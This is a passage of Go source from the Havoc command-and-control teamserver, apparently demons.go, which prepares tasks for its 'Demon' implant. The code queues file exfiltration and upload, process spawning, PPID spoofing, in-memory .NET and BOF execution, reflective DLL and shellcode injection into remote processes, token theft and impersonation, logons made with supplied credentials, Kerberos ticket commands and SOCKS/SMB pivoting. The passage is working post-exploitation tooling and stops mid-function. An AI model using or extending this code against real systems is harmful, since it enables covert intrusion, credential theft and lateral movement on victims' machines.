6 DEMON_COMMAND_TOKEN_REVERT = 7 DEMON_COMMAND_TOKEN_REMOVE = 8 DEMON_COMMAND_TOKEN_CLEAR = 9 DEMON_COMMAND_TOKEN_FIND_TOKENS = 10 DEMON_COMMAND_FS_DIR = 1 DEMON_COMMAND_FS_DOWNLOAD = 2 DEMON_COMMAND_FS_UPLOAD = 3 DEMON_COMMAND_FS_CD = 4 DEMON_COMMAND_FS_REMOVE = 5 DEMON_COMMAND_FS_MKDIR = 6 DEMON_COMMAND_FS_COPY = 7 DEMON_COMMAND_FS_MOVE = 8 DEMON_COMMAND_FS_GET_PWD = 9 DEMON_COMMAND_FS_CAT = 10 ) const ( DOTNET_INFO_PATCHED = 0x1 DOTNET_INFO_NET_VERSION = 0x2 DOTNET_INFO_ENTRYPOINT = 0x3 DOTNET_INFO_FINISHED = 0x4 DOTNET_INFO_FAILED = 0x5 ) const ( HAVOC_CONSOLE_MESSAGE = 0x80 HAVOC_BOF_CALLBACK = 0x81 ) const ( ERROR_WIN32_LASTERROR = 1 ERROR_TOKEN = 3 ) const ( SOCKET_COMMAND_RPORTFWD_ADD = 0x0 SOCKET_COMMAND_RPORTFWD_ADDLCL = 0x1 SOCKET_COMMAND_RPORTFWD_LIST = 0x2 SOCKET_COMMAND_RPORTFWD_CLEAR = 0x3 SOCKET_COMMAND_RPORTFWD_REMOVE = 0x4 SOCKET_COMMAND_SOCKSPROXY_ADD = 0x5 SOCKET_COMMAND_SOCKSPROXY_LIST = 0x6 SOCKET_COMMAND_SOCKSPROXY_REMOVE = 0x7 SOCKET_COMMAND_SOCKSPROXY_CLEAR = 0x8 SOCKET_COMMAND_OPEN = 0x10 SOCKET_COMMAND_READ = 0x11 SOCKET_COMMAND_WRITE = 0x12 SOCKET_COMMAND_CLOSE = 0x13 SOCKET_COMMAND_CONNECT = 0x14 SOCKET_TYPE_REVERSE_PORTFWD = 0x1 SOCKET_TYPE_REVERSE_PROXY = 0x2 SOCKET_TYPE_CLIENT = 0x3 SOCKET_ERROR_ALREADY_BOUND = 0x1 ) const ( KERBEROS_COMMAND_LUID = 0x0 KERBEROS_COMMAND_KLIST = 0x1 KERBEROS_COMMAND_PURGE = 0x2 KERBEROS_COMMAND_PTT = 0x3 ) const ( COFFEELDR_FLAG_NON_THREADED = 0 COFFEELDR_FLAG_THREADED = 1 COFFEELDR_FLAG_DEFAULT = 2 ) const ( INJECT_WAY_SPAWN = 0 INJECT_WAY_INJECT = 1 INJECT_WAY_EXECUTE = 2 ) const ( THREAD_METHOD_DEFAULT = 0 THREAD_METHOD_CREATEREMOTETHREAD = 1 THREAD_METHOD_NTCREATEHREADEX = 2 THREAD_METHOD_NTQUEUEAPCTHREAD = 3 ) const ( SecurityAnonymous = 0x0 SecurityIdentification = 0x1 SecurityImpersonation = 0x2 SecurityDelegation = 0x3 ) const ( SECURITY_MANDATORY_UNTRUSTED_RID = 0x00000000 SECURITY_MANDATORY_LOW_RID = 0x00001000 SECURITY_MANDATORY_MEDIUM_RID = 0x00002000 SECURITY_MANDATORY_HIGH_RID = 0x00003000 SECURITY_MANDATORY_SYSTEM_RID = 0x00004000 SECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x00005000 ) const ( TokenPrimary = 1 TokenImpersonation = 2 ) const ( INJECT_ERROR_SUCCESS = 0 INJECT_ERROR_FAILED = 1 INJECT_ERROR_INVALID_PARAM = 2 INJECT_ERROR_PROCESS_ARCH_MISMATCH = 3 ) ================================================ FILE: teamserver/pkg/agent/demons.go ================================================ package agent import ( "bytes" "encoding/base64" "encoding/binary" "encoding/hex" "encoding/json" "errors" "fmt" "io" "math/rand" "net" "os" "strconv" "strings" "time" "Havoc/pkg/common" "Havoc/pkg/common/parser" "Havoc/pkg/logger" "Havoc/pkg/logr" "Havoc/pkg/socks" "Havoc/pkg/utils" "Havoc/pkg/win32" "github.com/olekukonko/tablewriter" ) // we upload heavy files to the implant in chunks, so SMB agents can handle the size func (a *Agent) UploadMemFileInChunks(FileData []byte) uint32 { var ID uint32 var chunkSize = DEMON_MAX_RESPONSE_LENGTH // generate a random ID ID = rand.Uint32() FileSize := len(FileData) // split the file in chunks of DEMON_MAX_RESPONSE_LENGTH for start := 0; start <= FileSize; start += chunkSize { end := start + chunkSize // necessary check to avoid slicing beyond FileData capacity if end > FileSize { end = FileSize } MemFileJob := Job{ Command: COMMAND_MEM_FILE, RequestID: rand.Uint32(), Data: []any{ ID, uint64(FileSize), FileData[start:end], }, } a.AddJobToQueue(MemFileJob) } return ID } func (a *Agent) TeamserverTaskPrepare(Command string, Console func(AgentID string, Message map[string]string)) error { var Commands = strings.Split(Command, "::") switch Commands[0] { case "task": if len(Commands) > 1 { switch Commands[1] { case "list": if len(a.JobQueue) > 0 { var ListTable string ListTable += "\n" ListTable += fmt.Sprintf(" %-8s %-19s %-8s %s\n", "Task ID", "Created", "Size", "Command") ListTable += fmt.Sprintf(" %-8s %-19s %-8s %s\n", "-------", "-------", "----", "-------") for _, task := range a.JobQueue { var ( Payload = BuildPayloadMessage([]Job{task}, a.Encryption.AESKey, a.Encryption.AESIv) Size = common.ByteCountSI(int64(len(Payload))) ) ListTable += fmt.Sprintf(" %-8s %-19s %-8s %s\n", task.TaskID, task.Created, Size, task.CommandLine) } Console(a.NameID, map[string]string{ "Type": "Info", "Message": "List task queue:", "Output": ListTable, }) } else { Console(a.NameID, map[string]string{ "Type": "Error", "Message": "No jobs in task queue", }) } break case "clear": if len(a.JobQueue) > 0 { var Jobs = len(a.JobQueue) a.JobQueue = nil Console(a.NameID, map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Cleared task queue [%v]", Jobs), }) } else { Console(a.NameID, map[string]string{ "Type": "Error", "Message": "No jobs in task queue", }) } break } } break } return nil } func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, ClientID string, teamserver TeamServer) (*Job, error) { var ( job = &Job{ Command: uint32(Command), RequestID: rand.Uint32(), Data: []interface{}{}, Created: time.Now().UTC().Format("02/01/2006 15:04:05"), } err error ) Optional := Info.(map[string]interface{}) if val, ok := Optional["CommandLine"]; ok { job.CommandLine = val.(string) } if val, ok := Optional["TaskID"]; ok { job.TaskID = val.(string) RequestID, err := strconv.ParseInt(job.TaskID, 16, 64) if err == nil { job.RequestID = uint32(RequestID) } } switch Command { case COMMAND_EXIT: if val, ok := Optional["ExitMethod"].(string); ok { var Exit int = 0 if val == "thread" { Exit = 1 } else if val == "process" { Exit = 2 } job.Data = []interface{}{ Exit, } } else { return nil, errors.New("ExitMethod not found") } break case COMMAND_CHECKIN: break case COMMAND_SLEEP: var ( Delay int Jitter int err error ArgArray []string ) ArgArray = strings.Split(Optional["Arguments"].(string), ";") Delay, err = strconv.Atoi(ArgArray[0]) if err != nil { return nil, err } Jitter, err = strconv.Atoi(ArgArray[1]) if err != nil { return nil, err } job.Data = []interface{}{ Delay, Jitter, } case COMMAND_FS: var ( Arguments = Optional["Arguments"].(string) SubCommand = 0 ) switch Optional["SubCommand"].(string) { case "dir": SubCommand = 1 var ( SubDirs int FilesOnly int DirsOnly int ListOnly int ) ArgArray := strings.Split(Arguments, ";") Path := ArgArray[0] Starts := ArgArray[5]; Contains := ArgArray[6]; Ends := ArgArray[7]; if ArgArray[1] == "true" { SubDirs = win32.TRUE } else { SubDirs = win32.FALSE } if ArgArray[2] == "true" { FilesOnly = win32.TRUE } else { FilesOnly = win32.FALSE } if ArgArray[3] == "true" { DirsOnly = win32.TRUE } else { DirsOnly = win32.FALSE } if ArgArray[4] == "true" { ListOnly = win32.TRUE } else { ListOnly = win32.FALSE } // go from \\server\share to \\server\share\ if strings.HasPrefix(Path, "\\\\") { uncIndex := strings.Index(Path[2:], "\\") if uncIndex != -1 && strings.Index(Path[uncIndex+3:], "\\") == -1 { Path += "\\" } } // If the file ends in \ or is a drive (C:), throw a * on there if strings.HasSuffix(Path, "\\") { Path += "*" } else if strings.HasSuffix(Path, ":") { Path += "\\*" } job.Data = []interface{}{ SubCommand, win32.FALSE, common.EncodeUTF16(Path), SubDirs, FilesOnly, DirsOnly, ListOnly, common.EncodeUTF16(Starts), common.EncodeUTF16(Contains), common.EncodeUTF16(Ends), } break case "dir;ui": SubCommand = 1 // go from \\server\share to \\server\share\ if strings.HasPrefix(Arguments, "\\\\") { uncIndex := strings.Index(Arguments[2:], "\\") if uncIndex != -1 && strings.Index(Arguments[uncIndex+3:], "\\") == -1 { Arguments += "\\" } } // If the file ends in \ or is a drive (C:), throw a * on there if strings.HasSuffix(Arguments, "\\") { Arguments += "*" } else if strings.HasSuffix(Arguments, ":") { Arguments += "\\*" } job.Data = []interface{}{ SubCommand, win32.TRUE, common.EncodeUTF16(Arguments), win32.FALSE, win32.FALSE, win32.FALSE, win32.FALSE, common.EncodeUTF16(""), common.EncodeUTF16(""), common.EncodeUTF16(""), } break case "download": SubCommand = 2 var ( FileName []byte ArgArray []string ) ArgArray = strings.Split(Arguments, ";") if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil { FileName = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } job.Data = []interface{}{ SubCommand, FileName, } break case "upload": var ( FileName []byte Content []byte ArgArray []string MemFileId uint32 ) ArgArray = strings.Split(Arguments, ";") if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil { FileName = append([]byte(common.EncodeUTF16(string(val))), []byte{0, 0}...) } else { return nil, err } if val, err := base64.StdEncoding.DecodeString(ArgArray[1]); err == nil { Content = val } else { return nil, err } MemFileId = a.UploadMemFileInChunks(Content) SubCommand = 3 job.Data = []interface{}{ SubCommand, FileName, MemFileId, } break case "cd": SubCommand = 4 job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Arguments), } break case "remove": SubCommand = 5 job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Arguments), } break case "mkdir": SubCommand = 6 job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Arguments), } break case "cp": SubCommand = 7 var Paths = strings.Split(Arguments, ";") if len(Paths) >= 2 { var ( PathFrom []byte PathTo []byte ) if val, err := base64.StdEncoding.DecodeString(Paths[0]); err == nil { PathFrom = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } if val, err := base64.StdEncoding.DecodeString(Paths[1]); err == nil { PathTo = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } job.Data = []interface{}{ SubCommand, PathFrom, PathTo, } } break case "mv": SubCommand = 8 var Paths = strings.Split(Arguments, ";") if len(Paths) >= 2 { var ( PathFrom []byte PathTo []byte ) if val, err := base64.StdEncoding.DecodeString(Paths[0]); err == nil { PathFrom = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } if val, err := base64.StdEncoding.DecodeString(Paths[1]); err == nil { PathTo = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } job.Data = []interface{}{ SubCommand, PathFrom, PathTo, } } break case "pwd": SubCommand = 9 job.Data = []interface{}{ SubCommand, } break case "cat": SubCommand = 10 var ( FileName []byte ArgArray []string ) ArgArray = strings.Split(Arguments, ";") if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil { FileName = []byte(common.EncodeUTF16(string(val))) } else { return nil, err } job.Data = []interface{}{ SubCommand, FileName, } break } case COMMAND_PROC: var ( SubCommand, _ = strconv.Atoi(Optional["ProcCommand"].(string)) Arguments = Optional["Args"].(string) ) switch SubCommand { case DEMON_COMMAND_PROC_MODULES: var pid, _ = strconv.Atoi(Arguments) job.Data = []interface{}{ SubCommand, pid, } break case DEMON_COMMAND_PROC_GREP: job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Arguments), } break case DEMON_COMMAND_PROC_CREATE: var ( Args = strings.Split(Arguments, ";") Process string ProcessArgs string ProcessState int ProcessPiped int ProcessVerbose int ) // State, Verbose, Piped, ProcessApp, ProcessArg ProcessState, err := strconv.Atoi(Args[0]) if err != nil { logger.Error("") } ProcessVerbose = 0 if strings.ToLower(Args[1]) == "true" { ProcessVerbose = 1 } ProcessPiped = 0 if strings.ToLower(Args[2]) == "true" { ProcessPiped = 1 } Process = string(Args[3]) ProcArgs, _ := base64.StdEncoding.DecodeString(Args[4]) ProcessArgs = string(ProcArgs) job.Data = []interface{}{ SubCommand, ProcessState, common.EncodeUTF16(Process), common.EncodeUTF16(ProcessArgs), ProcessPiped, ProcessVerbose, } break // TODO: is this used? case 5: var State = 0 if Optional["Args"] == "on" { State = 1 } job.Data = []interface{}{ SubCommand, State, } break case DEMON_COMMAND_PROC_MEMORY: var ( Args = strings.Split(Arguments, " ") QueryProtec int ) var ( ProcID, _ = strconv.Atoi(Args[0]) ) switch Args[1] { case "PAGE_NOACCESS": QueryProtec = win32.PAGE_NOACCESS case "PAGE_READONLY": QueryProtec = win32.PAGE_READONLY case "PAGE_READWRITE": QueryProtec = win32.PAGE_READWRITE case "PAGE_WRITECOPY": QueryProtec = win32.PAGE_WRITECOPY case "PAGE_EXECUTE": QueryProtec = win32.PAGE_EXECUTE case "PAGE_EXECUTE_READ": QueryProtec = win32.PAGE_EXECUTE_READ case "PAGE_EXECUTE_READWRITE": QueryProtec = win32.PAGE_EXECUTE_READWRITE case "PAGE_EXECUTE_WRITECOPY": QueryProtec = win32.PAGE_EXECUTE_WRITECOPY case "PAGE_GUARD": QueryProtec = win32.PAGE_GUARD } job.Data = []interface{}{ SubCommand, ProcID, QueryProtec, } break case DEMON_COMMAND_PROC_KILL: var pid, err = strconv.Atoi(Arguments) if err != nil { logger.Debug("proc::kill failed to parse pid: " + err.Error()) return nil, errors.New("proc::kill failed to parse pid: " + err.Error()) } else { job.Data = []interface{}{ SubCommand, pid, } } break } break case COMMAND_PROC_LIST: var ( ProcessUI = Optional["FromProcessManager"].(string) Value = win32.FALSE ) if ProcessUI == "true" { Value = win32.TRUE } job.Data = []interface{}{ Value, } break case COMMAND_PROC_PPIDSPOOF: var PPIDSpoof, err = strconv.Atoi(Optional["PPID"].(string)) if err != nil { logger.Error(err) break } job.Data = []interface{}{ uint32(PPIDSpoof), } break case COMMAND_INLINEEXECUTE: var ( FunctionName string ObjectFile []byte Parameters []byte Flags uint32 BofFileId uint32 ParamsFileId uint32 ok bool ) if Arguments, ok := Optional["HasCallback"].(string); ok && Arguments == "true" { // if there is a callback for this BOF, means that we need to // store all the output and send it back to the python module // instead of simply printing it on the console var bofcallback = &BofCallback{ TaskID: job.RequestID, Output: "", Error: "", ClientID: ClientID, } a.BofCallbacks = append(a.BofCallbacks, bofcallback) } if Arguments, ok := Optional["Arguments"].(string); ok { if Parameters, err = base64.StdEncoding.DecodeString(Arguments); !ok { return nil, errors.New("FunctionName not defined") } } else { return nil, errors.New("CoffeeLdr: Arguments not defined") } if Binary, ok := Optional["Binary"].(string); ok { if ObjectFile, err = base64.StdEncoding.DecodeString(Binary); err != nil { logger.Debug("Failed to turn base64 encoded object file into bytes: " + err.Error()) return nil, err } } BofFileId = a.UploadMemFileInChunks(ObjectFile) // a BOF can have an entire PE in its parameters, so chunk them ParamsFileId = a.UploadMemFileInChunks(Parameters) if FunctionName, ok = Optional["FunctionName"].(string); !ok { return nil, errors.New("CoffeeLdr: FunctionName not defined") } if ObjectFlags, ok := Optional["Flags"].(string); ok { switch strings.ToLower(ObjectFlags) { case "non-threaded": Flags = COFFEELDR_FLAG_NON_THREADED break case "threaded": Flags = COFFEELDR_FLAG_THREADED break case "default": Flags = COFFEELDR_FLAG_DEFAULT break default: Flags = 0 } } else { return nil, errors.New("CoffeeLdr: Flags not defined") } job.Data = []interface{}{ FunctionName, BofFileId, ParamsFileId, Flags, } break case COMMAND_ASSEMBLY_INLINE_EXECUTE: var ( binaryDecoded, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string)) arguments = common.EncodeUTF16(Optional["Arguments"].(string)) NetVersion = common.EncodeUTF16("v4.0.30319") PipePath = common.EncodeUTF16(common.GeneratePipeName(teamserver.GetDotNetPipeTemplate(), a.Info.ProcessPID, a.Info.ProcessTID)) AppDomainName = common.EncodeUTF16("DefaultDomain") MemFileId uint32 ) MemFileId = a.UploadMemFileInChunks(binaryDecoded) job.Data = []interface{}{ PipePath, AppDomainName, NetVersion, MemFileId, arguments, } case COMMAND_ASSEMBLY_LIST_VERSIONS: break case COMMAND_SPAWNDLL: var ( Binary, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string)) Args, _ = base64.StdEncoding.DecodeString(Optional["Arguments"].(string)) DllReflectiveLdrPath string DllReflectiveLdr []byte ) DllReflectiveLdrPath = utils.GetTeamserverPath() + "/payloads/DllLdr.x64.bin" DllReflectiveLdr, err := os.ReadFile(DllReflectiveLdrPath) if err != nil { return nil, errors.New("Couldn't read content of file: " + err.Error()) } job.Data = []interface{}{ DllReflectiveLdr, Binary, Args, } break case COMMAND_JOB: var ( SubCommand int JobID int err error ) if val, ok := Optional["Command"].(string); ok { switch val { case "list": SubCommand = 0x1 break case "suspend": SubCommand = 0x2 break case "resume": SubCommand = 0x3 break case "kill": SubCommand = 0x4 break } } if val, ok := Optional["Param"].(string); ok { JobID, err = strconv.Atoi(val) if err != nil { return job, errors.New("couldn't convert JobID to int") } } if SubCommand == 0x1 { job.Data = []interface{}{ SubCommand, } } else { job.Data = []interface{}{ SubCommand, JobID, } } break case COMMAND_INJECT_DLL: var ( binaryDecoded, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string)) TargetPID, _ = strconv.Atoi(Optional["PID"].(string)) Param, _ = Optional["Arguments"].(string) InjectMethode int DllReflectiveLdr []byte DllReflectiveLdrPath string ) DllReflectiveLdrPath = utils.GetTeamserverPath() + "/payloads/DllLdr.x64.bin" DllReflectiveLdr, err := os.ReadFile(DllReflectiveLdrPath) if err != nil { return nil, errors.New("Couldn't read content of file: " + err.Error()) } job.Data = []interface{}{ InjectMethode, // Injection technique syscall TargetPID, DllReflectiveLdr, binaryDecoded, Param, } break case COMMAND_INJECT_SHELLCODE: var ( x64 int Technique int Argument []byte ) if val, ok := Optional["Way"]; ok { if val.(string) == "Inject" { Binary, err := base64.StdEncoding.DecodeString(Optional["Binary"].(string)) if err != nil { return job, err } if _, ok := Optional["Argument"]; ok { args, err := base64.StdEncoding.DecodeString(Optional["Argument"].(string)) if err != nil { return job, err } if len(args) > 0 { Argument = args } } TargetPid, err := strconv.Atoi(Optional["PID"].(string)) if err != nil { return job, err } switch strings.ToLower(Optional["Technique"].(string)) { case "default": Technique = THREAD_METHOD_DEFAULT break case "createremotethread": Technique = THREAD_METHOD_CREATEREMOTETHREAD break case "ntcreatethreadex": Technique = THREAD_METHOD_NTCREATEHREADEX break case "ntqueueapcthread": Technique = THREAD_METHOD_NTQUEUEAPCTHREAD break default: return job, fmt.Errorf("technique \"%v\"", Optional["Technique"].(string)) } x64 = win32.FALSE if Optional["Arch"] == "x64" { x64 = win32.TRUE } job.Data = []interface{}{ INJECT_WAY_INJECT, Technique, x64, Binary, Argument, TargetPid, } } else if val.(string) == "Spawn" { Binary, err := base64.StdEncoding.DecodeString(Optional["Binary"].(string)) if err != nil { return job, err } if _, ok := Optional["Argument"]; ok { args, err := base64.StdEncoding.DecodeString(Optional["Argument"].(string)) if err != nil { return job, err } if len(args) > 0 { Argument = args } } switch strings.ToLower(Optional["Technique"].(string)) { case "default": Technique = THREAD_METHOD_DEFAULT break case "createremotethread": Technique = THREAD_METHOD_CREATEREMOTETHREAD break case "ntcreatethreadex": Technique = THREAD_METHOD_NTCREATEHREADEX break case "ntqueueapcthread": Technique = THREAD_METHOD_NTQUEUEAPCTHREAD break default: return job, fmt.Errorf("technique \"%v\"", Optional["Technique"].(string)) } x64 = win32.FALSE if Optional["Arch"] == "x64" { x64 = win32.TRUE } job.Data = []interface{}{ INJECT_WAY_SPAWN, Technique, x64, Binary, Argument, } } else if val.(string) == "Execute" { Binary, err := base64.StdEncoding.DecodeString(Optional["Binary"].(string)) if err != nil { return job, err } if _, ok := Optional["Argument"]; ok { args, err := base64.StdEncoding.DecodeString(Optional["Argument"].(string)) if err != nil { return job, err } if len(args) > 0 { Argument = args } } switch strings.ToLower(Optional["Technique"].(string)) { case "default": Technique = THREAD_METHOD_DEFAULT break case "createremotethread": Technique = THREAD_METHOD_CREATEREMOTETHREAD break case "ntcreatethreadex": Technique = THREAD_METHOD_NTCREATEHREADEX break case "ntqueueapcthread": Technique = THREAD_METHOD_NTQUEUEAPCTHREAD break default: return job, fmt.Errorf("technique \"%v\"", Optional["Technique"].(string)) } x64 = win32.FALSE if Optional["Arch"] == "x64" { x64 = win32.TRUE } job.Data = []interface{}{ INJECT_WAY_EXECUTE, Technique, x64, Binary, Argument, } } else { return job, errors.New("couldn't identify if injection or spawn is specified") } } else { return job, errors.New("inject option not specified") } break case COMMAND_TOKEN: var ( SubCommand int Arguments any err error ) if val, ok := Optional["SubCommand"].(string); ok { switch val { case "impersonate": SubCommand = 0x1 if val, ok := Optional["Arguments"].(string); ok { Arguments, err = strconv.Atoi(val) if err != nil { return job, errors.New("Failed to convert TokenID to int: " + err.Error()) } job.Data = []interface{}{ SubCommand, Arguments.(int), } } else { return job, errors.New("token arguments not found") } break case "steal": SubCommand = 0x2 if val, ok := Optional["Arguments"].(string); ok { var ( PID int Handle int64 ArrayData []string ) ArrayData = strings.Split(val, ";") PID, err = strconv.Atoi(ArrayData[0]) if err != nil { return job, errors.New("Failed to convert PID to int: " + err.Error()) } Handle, err = strconv.ParseInt(ArrayData[1], 16, 64) if err != nil { return job, errors.New("Failed to convert Handle to int: " + err.Error()) } job.Data = []interface{}{ SubCommand, PID, int(Handle), } } else { return job, errors.New("token arguments not found") } break case "list": SubCommand = 0x3 job.Data = []interface{}{ SubCommand, } break case "privs-list": SubCommand = 0x4 job.Data = []interface{}{ SubCommand, win32.TRUE, } break case "privs-get": SubCommand = 0x4 if PrivName, ok := Optional["Arguments"].(string); ok { job.Data = []interface{}{ SubCommand, win32.FALSE, PrivName, } } else { return job, errors.New("token arguments not found") } break case "make": SubCommand = 0x5 if val, ok = Optional["Arguments"].(string); ok { var ( Domain string User string Password string LogonType int ArrayData []string ) ArrayData = strings.Split(val, ";") if val, err := base64.StdEncoding.DecodeString(ArrayData[0]); err != nil { return job, errors.New("Failed to decode Domain: " + err.Error()) } else { Domain = string(val) } if val, err := base64.StdEncoding.DecodeString(ArrayData[1]); err != nil { return job, errors.New("Failed to decode User: " + err.Error()) } else { User = string(val) } if val, err := base64.StdEncoding.DecodeString(ArrayData[2]); err != nil { return job, errors.New("Failed to decode Password: " + err.Error()) } else { Password = string(val) } LogonType, err = strconv.Atoi(ArrayData[3]) if err != nil { return job, errors.New("Failed to convert LogonType to int: " + err.Error()) } job.Data = []interface{}{ SubCommand, common.EncodeUTF16(Domain), common.EncodeUTF16(User), common.EncodeUTF16(Password), LogonType, } logger.Debug(job.Data) } else { return job, errors.New("token arguments not found") } break case "getuid": SubCommand = 0x6 job.Data = []interface{}{ SubCommand, } break case "revert": SubCommand = 0x7 job.Data = []interface{}{ SubCommand, } break case "remove": SubCommand = 0x8 if val, ok := Optional["Arguments"].(string); ok { Arguments, err = strconv.Atoi(val) if err != nil { return job, errors.New("Failed to convert TokenID to int: " + err.Error()) } job.Data = []interface{}{ SubCommand, Arguments.(int), } } else { return job, errors.New("token arguments not found") } break case "clear": SubCommand = 0x9 job.Data = []interface{}{ SubCommand, } break case "find": SubCommand = 0xa job.Data = []interface{}{ SubCommand, } break } } break case COMMAND_CONFIG: var ( ConfigKey = Optional["ConfigKey"] ConfigVal = Optional["ConfigVal"] ConfigId int Value any ) switch ConfigKey { case "implant.verbose": ConfigId = CONFIG_IMPLANT_VERBOSE if ConfigVal == "true" { Value = 1 } else { Value = 0 } break case "implant.sleep-obf.start-addr": ConfigId = CONFIG_IMPLANT_SPFTHREADSTART var ( Library = strings.Split(ConfigVal.(string), "!")[0] Function = strings.Split(ConfigVal.(string), "!")[1] OffsetStr = strings.Split(ConfigVal.(string), "+")[1] ) OffsetStr = strings.Replace(OffsetStr, "0x", "", -1) Offset, err := strconv.ParseInt(OffsetStr, 16, 64) if err != nil { logger.Error("Failed to convert hex string to int: " + err.Error()) } Function = strings.Split(Function, "+")[0] job.Data = []interface{}{ ConfigId, Library, Function, Offset, } break case "implant.sleep-obf.technique": ConfigId = CONFIG_IMPLANT_SLEEP_TECHNIQUE var Num, err = strconv.Atoi(ConfigVal.(string)) if err != nil { logger.Error("Failed to convert string to num: " + err.Error()) } job.Data = []interface{}{ ConfigId, Num, } case "implant.coffee.veh": ConfigId = CONFIG_IMPLANT_COFFEE_VEH if ConfigVal == "true" { Value = 1 } else { Value = 0 } break case "implant.coffee.threaded": ConfigId = CONFIG_IMPLANT_COFFEE_THREADED if ConfigVal == "true" { Value = 1 } else { Value = 0 } break case "memory.alloc": ConfigId = CONFIG_MEMORY_ALLOC Value, _ = strconv.Atoi(ConfigVal.(string)) break case "memory.execute": ConfigId = CONFIG_MEMORY_EXECUTE Value, _ = strconv.Atoi(ConfigVal.(string)) break case "inject.technique": ConfigId = CONFIG_INJECT_TECHNIQUE Value, _ = strconv.Atoi(ConfigVal.(string)) break case "inject.spoofaddr": ConfigId = CONFIG_INJECT_SPOOFADDR var ( Library = strings.Split(ConfigVal.(string), "!")[0] Function = strings.Split(ConfigVal.(string), "!")[1] OffsetStr = strings.Split(ConfigVal.(string), "+")[1] ) OffsetStr = strings.Replace(OffsetStr, "0x", "", -1) Offset, err := strconv.ParseInt(OffsetStr, 16, 64) if err != nil { logger.Error("Failed to convert hex string to int: " + err.Error()) } Function = strings.Split(Function, "+")[0] job.Data = []interface{}{ ConfigId, Library, Function, Offset, } break case "inject.spawn64": ConfigId = CONFIG_INJECT_SPAWN64 Value = common.EncodeUTF16(ConfigVal.(string)) break case "inject.spawn32": ConfigId = CONFIG_INJECT_SPAWN32 Value = common.EncodeUTF16(ConfigVal.(string)) break case "killdate": ConfigId = CONFIG_KILLDATE var ( KillDate int64 ) if ConfigVal.(string) != "0" { t, err := time.Parse("2006-01-02 15:04:05", ConfigVal.(string)) if err != nil { logger.Error("Failed to parse the kill date: " + err.Error()) return nil, errors.New("Invalid date format, use: 2006-01-02 15:04:05") } else { KillDate = t.Unix() if KillDate < time.Now().Unix() { return nil, errors.New("The date can't be in the past") } KillDate = common.EpochTimeToSystemTime(KillDate) } } else { KillDate = 0 } logger.Debug(fmt.Sprintf("KillDate: %d", KillDate)) job.Data = []interface{}{ ConfigId, KillDate, } break case "workinghours": ConfigId = CONFIG_WORKINGHOURS var ( WorkingHours int32 ) if ConfigVal.(string) != "0" { WorkingHours, err = common.ParseWorkingHours(ConfigVal.(string)) if err != nil { return nil, err } } else { WorkingHours = 0 } logger.Debug(fmt.Sprintf("WorkingHours: %d", WorkingHours)) job.Data = []interface{}{ ConfigId, WorkingHours, } break } if len(job.Data) == 0 { job.Data = []interface{}{ ConfigId, Value, } } break case COMMAND_SCREENSHOT: break case COMMAND_NET: var ( NetCommand int Param string ) if val, ok := Optional["NetCommand"]; ok { NetCommand, err = strconv.Atoi(val.(string)) if err != nil { logger.Debug("Failed to parse net command: " + err.Error()) return nil, err } } else { return nil, errors.New("command::net NetCommand not defined") } if val, ok := Optional["Param"]; ok { Param = val.(string) } else { return nil, errors.New("command::net param not defined") } switch NetCommand { case DEMON_NET_COMMAND_DOMAIN: job.Data = []interface{}{ NetCommand, } break case DEMON_NET_COMMAND_LOGONS: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_SESSIONS: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_COMPUTER: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_DCLIST: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_SHARE: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_LOCALGROUP: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_GROUP: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break case DEMON_NET_COMMAND_USERS: var Target = common.EncodeUTF16(Param) job.Data = []interface{}{ NetCommand, Target, } break default: } break case COMMAND_PIVOT: var ( PivotCommand int Param string ) if val, ok := Optional["Param"]; ok { Param = val.(string) } if val, ok := Optional["Command"]; ok { if val, err := strconv.Atoi(val.(string)); err != nil { logger.Debug("failed to convert pivot command to int: " + err.Error()) return nil, errors.New("failed to convert pivot command to int: " + err.Error()) } else { PivotCommand = val } } switch PivotCommand { case DEMON_PIVOT_LIST: job.Data = []interface{}{ PivotCommand, } case DEMON_PIVOT_SMB_CONNECT: job.Data = []interface{}{ PivotCommand, common.EncodeUTF16(Param), } break case DEMON_PIVOT_SMB_DISCONNECT: var AgentID, err = strconv.ParseInt(Param, 16, 32) if err != nil { return nil, err } job.Data = []interface{}{ PivotCommand, AgentID, } break case DEMON_PIVOT_SMB_COMMAND: job.Data = []interface{}{ PivotCommand, } break } break case COMMAND_TRANSFER: var ( SubCommand string Param string FileID int64 ) if val, ok := Optional["Command"]; ok { SubCommand = val.(string) } else { return job, errors.New("transfer field Command is empty.") } if val, ok := Optional["FileID"]; ok { Param = val.(string) } else { return job, errors.New("transfer field FileID is empty.") } switch SubCommand { case "list": job.Data = []interface{}{ 0x0, } break case "stop": FileID, err = strconv.ParseInt(Param, 16, 32) if err != nil { return nil, err } job.Data = []interface{}{ 0x1, FileID, } break case "resume": FileID, err = strconv.ParseInt(Param, 16, 32) if err != nil { return nil, err } job.Data = []interface{}{ 0x2, FileID, } break case "remove": FileID, err = strconv.ParseInt(Param, 16, 32) if err != nil 